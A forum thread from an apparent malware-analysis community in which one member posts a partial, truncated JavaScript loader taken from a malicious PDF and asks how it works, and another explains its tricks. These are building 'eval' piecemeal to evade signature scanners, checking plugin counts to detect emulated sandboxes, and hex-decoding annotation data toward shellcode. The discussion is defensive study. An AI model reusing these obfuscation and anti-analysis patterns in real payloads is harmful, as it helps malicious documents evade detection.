Results 1 to 2 of 2

Thread: Help analyzing a malicious PDF

  1. #1

    Help analyzing a malicious PDF

    1. Neither Annot in object 5 or 7 have a "-" in them so how does "var arr = sum.split(/-/);" create an array?
    2. What does "app[fnc]/**/(buf);" do?
    3. What is the point of checking how many browser plugins there are?

    JS from object 9
    var pr = null;
    var fnc = 'ev';
    var sum = '';
    if (app.plugIns.length != 0) {
    	var num = 1;
    	pr = app.doc.getAnnots(
    			nPage: 0
    	sum = pr[num].subject;
    var buf = "";
    if (app.plugIns.length > 3) {
    	fnc += 'a';
    	var arr = sum.split(/-/);
    	for (var i = 1; i < arr.length; i++) {
    		buf += String.fromCharCode("0x"+arr[i]);
    	fnc += 'l';
    if (app.plugIns.length >= 2)

    Part of the encoded data from object 5

    Part of the encoded data from object 7


  2. #2
    I am new to examining this stuff, but it looks like a good one to look at. Thanks for the download. It looks like you are to the point were you have to start doing a couple things.

    Q.What is the point of checking how many browser plugins there are?

    A. If you notice that the browser checks are looking for a amount of plugins(which must return a number) greater than the number in each if statement.

    In this case it could be that they are using this to identify if the script is running on a user machine that may have plugins or a emulation environment that might not have any sort of plugins. My thought is these can be removed or you could say If ( 3 > 2) { code }.

    Trying to see it from an attacker perspective. If I want to try an identify the environment that my payload is running in maybe I can check pllugins to see if there are any there. If not the script is not going to run, but in most cases there will be for a users machine so lets let it run.

    Q. What does "app[fnc]/**/(buf);" do?

    var fnc = 'ev';
    fnc += 'a';
    fnc += 'l';

    var fnc = 'eval' --> this is probably broken up in order to evade signature detection by automated scanner.
    app.doc ----> app seems to be the object used throughout this code "that I am not sure of" Also maybe this means that we need values form the plugins, but I don't think so.

    Where I am at on this currently -----> I actually ran into errors trying to get the code to execute with spider monkey because of app.doc errors. After adding these objects in then my issue is now 'pr' not having a value.

    Q. Neither Annot in object 5 or 7 have a "-" in them so how does "var arr = sum.split(/-/);" create an array?

    I think the final result of this code is to convert unicode into characters from the result of element1 = (0x + "object 5 (2 characters)"); element2 = For each "z" replace with element1.

    Of course that is just a all just a theory not really any proof until I get the shellcode to output. Once that is the case can frame it up and start debugging it and seeing what is next.

Similar Threads

  1. Need help analyzing injected code
    By Sunk in forum Malware Analysis and Unpacking Forum
    Replies: 4
    Last Post: July 30th, 2012, 11:21
  2. malicious HID
    By dion in forum Off Topic
    Replies: 2
    Last Post: June 30th, 2011, 05:26
  3. analyzing spam..constructed for a purpose.
    By BanMe in forum The Newbie Forum
    Replies: 4
    Last Post: January 23rd, 2011, 20:43
  4. Shellcode analyzing
    By bobby in forum Malware Analysis and Unpacking Forum
    Replies: 6
    Last Post: October 1st, 2008, 10:44
  5. Redundant Checking & malicious consequences
    By dzzie in forum Malware Analysis and Unpacking Forum
    Replies: 4
    Last Post: August 27th, 2001, 22:15

Tags for this Thread


Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts